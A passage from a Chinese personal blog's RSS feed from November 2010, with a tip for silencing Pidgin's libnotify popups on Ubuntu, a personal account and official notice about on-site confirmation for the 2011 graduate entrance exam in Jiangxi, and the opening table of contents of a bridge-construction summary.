	<link>http://www.holmesian.org/Ubuntu-Pidgin</link>
	<description><![CDATA[<p>&nbsp;Pidgin是Ubuntu下相当不错且同时支持QQ、MSN、Gtalk聊天协议的一款IM软件，用Pidgin登录QQ会有一个非常烦人的情况就是右上角不停地提示***好友正在线上，这对于动辄几百好友的QQ用户是相当痛苦的。其实这烦人的提示完全归咎于一个鸡肋的插件&ldquo;li<span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, Helvetica, 'Bitstream Vera Sans', sans-serif; color: rgb(31, 31, 31); line-height: 22px; ">libnotify 弹出对话框 0.14</span>&rdquo;，想要有清爽安静的Pidgin使用体验只需要在Pidgin主程序界面执行如下操作即可：</p>
<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8" /></p>
<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8" /><span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, Helvetica, 'Bitstream Vera Sans', sans-serif; color: rgb(31, 31, 31); line-height: 22px; ">打开&ldquo;工具--插件&ldquo; 找到&ldquo;libnotify 弹出对话框 0.14&ldquo; 这个插件，将其前面的去掉即可。</span></p>
<p>当然如果只是想去除掉QQ好友的登录提示就在<span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, Helvetica, 'Bitstream Vera Sans', sans-serif; color: rgb(31, 31, 31); line-height: 22px; ">&ldquo;配置插件(U)&rdquo;按钮来配置&ldquo;</span><span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, Helvetica, 'Bitstream Vera Sans', sans-serif; color: rgb(31, 31, 31); line-height: 22px; ">libnotify 弹出对话框 0.14</span><span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, Helvetica, 'Bitstream Vera Sans', sans-serif; color: rgb(31, 31, 31); line-height: 22px; ">&rdquo;插件，去掉好友登录提示。</span></p>
<p>&nbsp;</p>
<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" /></p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Nginx-error-page">更改Nginx的原生错误提示</a></p><p><a href="http://www.holmesian.org/ubuntu-VirtualBox-upgrade">ubuntu升级后VirtualBox新问题</a></p><p><a href="http://www.holmesian.org/post/431">ubuntu下的问题</a></p><p><a href="http://www.holmesian.org/Ubuntu-10-10-install-kernel">Ubuntu 10.10 U盘安装与编译内核</a></p><p><a href="http://www.holmesian.org/post/487">Zenoss stack for ubuntu</a></p><p><a href="http://www.holmesian.org/post/550">状态恢复</a></p></div>]]></description>
	<pubDate>Tue, 09 Nov 2010 02:15:02 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Ubuntu-Pidgin</guid>

</item>
<item>
	<title>相信自己的判断，别跟风</title>
	<link>http://www.holmesian.org/2010-today</link>
	<description><![CDATA[<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8">   </p>
<div style="padding-top:5px;padding-right:5px;padding-bottom:5px;padding-left:5px;margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;background-image:initial;background-attachment:initial;background-origin:initial;background-clip:initial;background-color:#ffffff;font:normal normal normal 14px/normal Tahoma;font-family:'Times New Roman';font-size:medium;">
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">题目很大，内容跑题，仅记录一下关于考研信息确认现场的一点碎碎念。</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;"></p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">今天是我们学校2011年研究生报考现场确认的指定时间，上周几乎所有一同备战考研的TX就已经约好今天一大早集体出动一同去现场确认地点办理确认手续，虽然所有网上能够查到的官方信息都显示考研现场确认的时间是从2010年11月10日到2010年11月14日，但是号称是来自***研究生招生处、***招考办的消息今天是我们学校指定的提前现场确认时间，作为一个不太明白真相的群众也就相信了战斗在考研一线的TX们……悲剧地加入了今早六点半就启程的现场确认先锋队。</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">到了研招办指定的确认现场，还没有开的校门前熙熙攘攘的人群组成了时而有序时而杂乱的队列让人绝对百味陈杂。其间有一个不得不说的小插曲：在这样混杂着六七百人却不足十米宽的校门口愣是过了两辆承载着某重要人士的汽车通过，这让人不禁遐想——莫非是李刚？</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">研招办指定的场所开门之后，让我不得不感叹周围TX各项强悍的素质指标，尤其是具有特色的排队与插队特色，幸亏有S.H的帮助，否则真的不知道我什么时候才能够拿到第一张表格填上，虽然最终由于一些个人原因导致确认最后一步提前离场导致之前的排队功亏一篑。</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">感谢这让我没能在上午成功现场确认的机会：一方面打消了我抱有的最后一丝祈求的奢望，并给了我更加靠谱的希望；另一方面让我可以跟S.H有了一段真空的时间来弥补之前落下的那么多。此外，也让我知道了，上午排一两个小时都不一定可以搞定的事情其实下午五分钟之内可以全部搞定，即使是在咱们办事效率“如此之高”的有关部门这里。</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">总的来说，不错的一天，唯一的缺憾就是相信的XXX那的些个善意的劝谏。还是应该相信自己，别跟风，莫扎堆。</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">&nbsp;</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">都是废话，说点有用的东西吧：确认过程挺简单的，首先拿两张表——一张是流程图一张是承诺书，签上大名和报考号码就好（报考号码如果不记得的话在现场的资讯问讯处可以通过报名时用的身份证号查到），将填好的承诺书交到第一个工作点之后工作人员会打印一张包含你填写的报考信息的表格，确认表格上面的信息无误之后到第二个工作点缴费并拍照，然后Over走人。</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">如果发现报考时填写的信息有问题（或者是想改报其他学校），就需要在研招办指定的时间领取校验码，再在指定的时间重新注册并现场确认。（今年2010年是11月10日和11月14日）</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">&nbsp;</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">&nbsp;</p>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">最后在转一下那个发在一个角落的公告：</p>
<blockquote>
<p style="padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-top:0px;margin-right:0px;margin-bottom:1.1em;margin-left:0px;">
<meta http-equiv="content-type" content="text/html; charset=utf-8">为了不造成现场的拥挤，确保考生用较短的时间完成报名信息的确认和缴费、照相，我办将各院校应、历届毕业生到现场网报信息确认的时间作如下安排，请考生予以配合，严格遵守。 <br />
11月8日    上午： 华东交通大学(应届)、华东交通大学理工学院(应届) <br />
下午：江西农业大学(应届)、江西农业大学南昌商学院(应届)、南昌工程学院(应届) <br />
11月9日   上午： 南昌航空大学(应届)、南昌航空大学科技学院(应届) <br />
下午： 江西财经大学(应届)、江西财大现代经济管理学院(应届) <br />
11月10日  上午：江西师范大学(应届) <br />
下午：江西科技师范学院(应届)、江西科技师范理工学院(应届) <br />
11月11日  上午：南昌大学(应届文史、医学类毕业生) <br />
下午：南昌大学(应届理工类毕业生) <br />
11月12日  上午：江西中医学院(应届)、江西中医学院科技学院(应届)、江西师范大学科学技术学院(应届) <br />
下午：南昌大学共青学院(应届)、南昌大学科学技术学院(应届)、其他(含成人)院校应届毕业生 <br />
11月13-14日       历届毕业生 </p>
</blockquote>
<meta http-equiv="content-type" content="text/html; charset=utf-8"></div>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/2011-kaoyan-yingyuzuowen">2011年考研英语作文预测</a></p><p><a href="http://www.holmesian.org/2011-postgrade">2011年研究生入学考试现场确认</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-notice">2011年硕士研究生招生考试注意事项</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-duilitongyi">2011年考研政治大题预测-对立统一</a></p><p><a href="http://www.holmesian.org/zhengzhi-kaoyan-muban">2011年考研政治大题、政经实用技巧</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-shijianrenshi">2011年考研政治大题预测-实践和认识</a></p></div>]]></description>
	<pubDate>Mon, 08 Nov 2010 10:00:04 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/2010-today</guid>

</item>
<item>
	<title>2011年研究生入学考试现场确认</title>
	<link>http://www.holmesian.org/2011-postgrade</link>
	<description><![CDATA[<p>现场确认报名信息：所有考生(含推免生)均须到报考点现场确认网报信息，并缴费和照相。具体流程见各相关报名点公告。<meta http-equiv="content-type" content="text/html; charset=utf-8"></p>
<div style="padding-top:5px;padding-right:5px;padding-bottom:5px;padding-left:5px;margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;background-image:initial;background-attachment:initial;background-origin:initial;background-clip:initial;background-color:#ffffff;font:normal normal normal 14px/normal Tahoma;">
<p style="padding-top:6px;padding-right:0px;padding-bottom:6px;padding-left:0px;margin-top:0px;margin-right:auto;margin-bottom:0px;margin-left:auto;border-top-width:0px;border-right-width:0px;border-bottom-width:0px;border-left-width:0px;border-style:initial;border-color:initial;text-indent:2em;font-family:'Times New Roman';font-size:medium;">1. 现场确认时间：2010年11月10-14日。</p>
<p style="padding-top:6px;padding-right:0px;padding-bottom:6px;padding-left:0px;margin-top:0px;margin-right:auto;margin-bottom:0px;margin-left:auto;border-top-width:0px;border-right-width:0px;border-bottom-width:0px;border-left-width:0px;border-style:initial;border-color:initial;text-indent:2em;font-family:'Times New Roman';font-size:medium;">2.现场确认程序：</p>
<p style="padding-top:6px;padding-right:0px;padding-bottom:6px;padding-left:0px;margin-top:0px;margin-right:auto;margin-bottom:0px;margin-left:auto;border-top-width:0px;border-right-width:0px;border-bottom-width:0px;border-left-width:0px;border-style:initial;border-color:initial;text-indent:2em;font-family:'Times New Roman';font-size:medium;">（1）考生持本人有效身份证件（限“居民身份证”或“临时身份证”、“军官证”、“文职干部证”、“军校学员证”）、学历证书（普通高校和成人高校应届本科毕业生持学生证）和网上报名编号，由报考点工作人员核对，考生确认本人网报信息。</p>
<p style="padding-top:6px;padding-right:0px;padding-bottom:6px;padding-left:0px;margin-top:0px;margin-right:auto;margin-bottom:0px;margin-left:auto;border-top-width:0px;border-right-width:0px;border-bottom-width:0px;border-left-width:0px;border-style:initial;border-color:initial;text-indent:2em;font-family:'Times New Roman';font-size:medium;">（2）考生按规定缴纳报考费（考生办理报考手续缴纳报考费后，不再退还）。</p>
<p style="padding-top:6px;padding-right:0px;padding-bottom:6px;padding-left:0px;margin-top:0px;margin-right:auto;margin-bottom:0px;margin-left:auto;border-top-width:0px;border-right-width:0px;border-bottom-width:0px;border-left-width:0px;border-style:initial;border-color:initial;text-indent:2em;font-family:'Times New Roman';font-size:medium;">（3）报考点按规定采集考生本人图像信息。</p>
<p style="padding-top:6px;padding-right:0px;padding-bottom:6px;padding-left:0px;margin-top:0px;margin-right:auto;margin-bottom:0px;margin-left:auto;border-top-width:0px;border-right-width:0px;border-bottom-width:0px;border-left-width:0px;border-style:initial;border-color:initial;text-indent:2em;font-family:'Times New Roman';font-size:medium;">（4） 考生核对由报考点打印的报名信息表（考生不得在信息表上进行修改）,确认无误后由考生本人签字认可，签字后的报名信息表上交报考点留存。</p>
<p style="padding-top:6px;padding-right:0px;padding-bottom:6px;padding-left:0px;margin-top:0px;margin-right:auto;margin-bottom:0px;margin-left:auto;border-top-width:0px;border-right-width:0px;border-bottom-width:0px;border-left-width:0px;border-style:initial;border-color:initial;text-indent:2em;font-family:'Times New Roman';font-size:medium;"></p>
<p style="padding-top:6px;padding-right:0px;padding-bottom:6px;padding-left:0px;margin-top:0px;margin-right:auto;margin-bottom:0px;margin-left:auto;border-top-width:0px;border-right-width:0px;border-bottom-width:0px;border-left-width:0px;border-style:initial;border-color:initial;text-indent:2em;font-family:'Times New Roman';font-size:medium;">
<meta http-equiv="content-type" content="text/html; charset=utf-8">凡参加本次研究生招生报名的考生应按规定缴纳报名考试费100元，邮寄、档案材料费30元，由所在报名确认点代收。 </p>
<p style="padding-top:6px;padding-right:0px;padding-bottom:6px;padding-left:0px;margin-top:0px;margin-right:auto;margin-bottom:0px;margin-left:auto;border-top-width:0px;border-right-width:0px;border-bottom-width:0px;border-left-width:0px;border-style:initial;border-color:initial;text-indent:2em;font-family:'Times New Roman';font-size:medium;">
<meta http-equiv="content-type" content="text/html; charset=utf-8"><span class="Apple-style-span" style="color:#333333;font-family:����, Verdana, Arial, Helvetica, sans-serif;font-size:12px;line-height:20px;-webkit-border-horizontal-spacing:1px;-webkit-border-vertical-spacing:1px;">为了不造成现场的拥挤，确保考生用较短的时间完成报名信息的确认和缴费、照相，我办将各院校应、历届毕业生到现场网报信息确认的时间作如下安排，请考生予以配合，严格遵守。&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;11月8日&nbsp;&nbsp;&nbsp;&nbsp;上午：&nbsp;华东交通大学(应届)、华东交通大学理工学院(应届)&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;下午：江西农业大学(应届)、江西农业大学南昌商学院(应届)、南昌工程学院(应届)&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;11月9日&nbsp;&nbsp;&nbsp;上午：&nbsp;南昌航空大学(应届)、南昌航空大学科技学院(应届)&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;下午：&nbsp;江西财经大学(应届)、江西财大现代经济管理学院(应届)&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;11月10日&nbsp;&nbsp;上午：江西师范大学(应届)&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;下午：江西科技师范学院(应届)、江西科技师范理工学院(应届)&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;11月11日&nbsp;&nbsp;上午：南昌大学(应届文史、医学类毕业生)&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;下午：南昌大学(应届理工类毕业生)&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;11月12日&nbsp;&nbsp;上午：江西中医学院(应届)、江西中医学院科技学院(应届)、江西师范大学科学技术学院(应届)&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;下午：南昌大学共青学院(应届)、南昌大学科学技术学院(应届)、其他(含成人)院校应届毕业生&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;11月13-14日&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;历届毕业生 &nbsp; &nbsp; &nbsp;&nbsp;</span></p>
<p style="padding-top:6px;padding-right:0px;padding-bottom:6px;padding-left:0px;margin-top:0px;margin-right:auto;margin-bottom:0px;margin-left:auto;border-top-width:0px;border-right-width:0px;border-bottom-width:0px;border-left-width:0px;border-style:initial;border-color:initial;text-indent:2em;font-family:'Times New Roman';font-size:medium;">&nbsp;</p>
<p style="padding-top:6px;padding-right:0px;padding-bottom:6px;padding-left:0px;margin-top:0px;margin-right:auto;margin-bottom:0px;margin-left:auto;border-top-width:0px;border-right-width:0px;border-bottom-width:0px;border-left-width:0px;border-style:initial;border-color:initial;text-indent:2em;">
<meta http-equiv="content-type" content="text/html; charset=utf-8">全省报名点安排<br class="Apple-interchange-newline" />
<table cellspacing="0" bordercolordark="#333" cellpadding="3" width="100%" bordercolorlight="#333" border="1" style="table-layout:fixed;word-break:break-all;border-collapse:collapse;color:#333333;font-family:Arial, Geneva, Helvetica, sans-serif, 宋体;font-size:14px;line-height:24px;">
    <tbody>
        <tr>
            <td>报名点代码</td>
            <td>报名点名称</td>
            <td>报名点（现场确认）地址</td>
            <td>备 注</td>
        </tr>
        <tr>
            <td>3600</td>
            <td>江西省高招办</td>
            <td>江西师范大学研究生院南 昌 大 学研究生院</td>
            <td>江西师范大学接受除南昌大学外本省各校推免生报名确认；南昌大学接受本校推免生报名确认。</td>
        </tr>
        <tr>
            <td>3601</td>
            <td>南昌市招考办</td>
            <td>南昌市叠山路469号八一中学（初中部）校内</td>
            <td>接受统考生报名</td>
        </tr>
        <tr>
            <td>3602</td>
            <td>九江市招考办</td>
            <td>九江市庾亮南路219号</td>
            <td>接受统考生报名</td>
        </tr>
        <tr>
            <td>3603</td>
            <td>景德镇市招考办</td>
            <td>景德镇市瓷都大道电教考试中心</td>
            <td>接受统考生报名</td>
        </tr>
        <tr>
            <td>3604</td>
            <td>萍乡市招考办</td>
            <td>萍乡市跃进北路188号</td>
            <td>接受统考生报名</td>
        </tr>
        <tr>
            <td>3605</td>
            <td>鹰潭市招考办</td>
            <td>鹰潭市岱宝山路9号</td>
            <td>接受统考生报名</td>
        </tr>
        <tr>
            <td>3606</td>
            <td>新余市招考办</td>
            <td>新余市堎上东路272号</td>
            <td>接受统考生报名</td>
        </tr>
        <tr>
            <td>3607</td>
            <td>赣州市招考办</td>
            <td>赣州市环城路5号</td>
            <td>接受统考生及报考江西理工大学工商管理硕士联考考生报名</td>
        </tr>
        <tr>
            <td>3608</td>
            <td>宜春市招考办</td>
            <td>宜春市化城路36号</td>
            <td>接受统考生报名</td>
        </tr>
        <tr>
            <td>3609</td>
            <td>吉安市招考办</td>
            <td>吉安市韶山西路1号</td>
            <td>接受统考生报名</td>
        </tr>
        <tr>
            <td>3610</td>
            <td>上饶市招考办</td>
            <td>上饶市沿河中路15号</td>
            <td>接受统考生报名</td>
        </tr>
        <tr>
            <td>3611</td>
            <td>抚州市招考办</td>
            <td>抚州市赣东大道155号</td>
            <td>接受统考生报名</td>
        </tr>
        <tr>
            <td>3612</td>
            <td>江西财经大学研究生部</td>
            <td>南昌市庐山中大道</td>
            <td>只接受报考法硕联考及本省院校（不含江西理工大学）工商管理硕士、公共管理硕士、旅游管理硕士、工程管理硕士联考考生报名</td>
        </tr>
    </tbody>
</table>
</p>
</div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/2010-today">相信自己的判断，别跟风</a></p></div>]]></description>
	<pubDate>Sun, 07 Nov 2010 13:02:53 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/2011-postgrade</guid>

</item>
<item>
	<title>桥涵工程施工过程汇总</title>
	<link>http://www.holmesian.org/Bridge-construction</link>
	<description><![CDATA[<p>&nbsp;</p>
<p>桥涵工程施工汇总，总结得相当之全。</p>
<p>&nbsp;</p>
<p>&nbsp;[sfile][/sfile]</p>
<p>目录</p>
<p><span><a href="/admin/#_Toc14882 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">第一部分  施工前准备工作	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">2</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p>
</p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc6070 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">1<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">1</span><span style="font-family:宋体;">．技术准备	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">2</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc9952 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">1<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">2</span><span style="font-family:宋体;">．人员配备	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">3</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc9891 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">1<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">3</span><span style="font-family:宋体;">．械设备准备	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">3</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc28866 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">1<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">4</span><span style="font-family:宋体;">．试验室准备工作	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">3</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc668 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">1<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">5</span><span style="font-family:宋体;">．材料准备	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">6</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc22297 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">1<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">6</span><span style="font-family:宋体;">．各种图表．报表．施工表格	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">6</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc27505 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">1<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">7</span><span style="font-family:宋体;">．场地布置的基本原则	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">6</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc10541 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">1<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">8</span><span style="font-family:宋体;">．桥涵施工放样	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">7</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p17" style="margin-left:42.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc12058 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">第一部分&nbsp;&nbsp;&nbsp;平面、水准控制测量及质量要求	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">7</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p17" style="margin-left:42.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc4515 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">第二部分&nbsp;&nbsp;坐标法计算原理	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">10</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p17" style="margin-left:42.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc14350 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">第三部分&nbsp;施工放样	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">12</span></span></a></span></p>
<p class="p17" style="margin-left:42.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc14350 "></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p16" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p16" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p16" style="margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc6633 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">第二部分  桥梁基础工程	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">14</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc30574 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">2<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">1</span><span style="font-family:宋体;">．明挖基础	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">14</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc3660 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">2<span style="font-family:宋体;">．</span><span style="font-family:'Times New Roman';">2</span><span style="font-family:宋体;">．钻孔灌注桩基础	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">15</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc20829 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">谈挖孔桩工艺及	</span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">26</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc28507 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">2<span style="font-family:宋体;">．４．围堰	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">29</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p15" style="margin-left:21.0000pt;margin-bottom:0pt;margin-top:0pt;"><span><a href="/admin/#_Toc9530 "><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">2<span style="font-family:宋体;">．５．钢板围堰	</span></span><span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">30</span></span></a></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
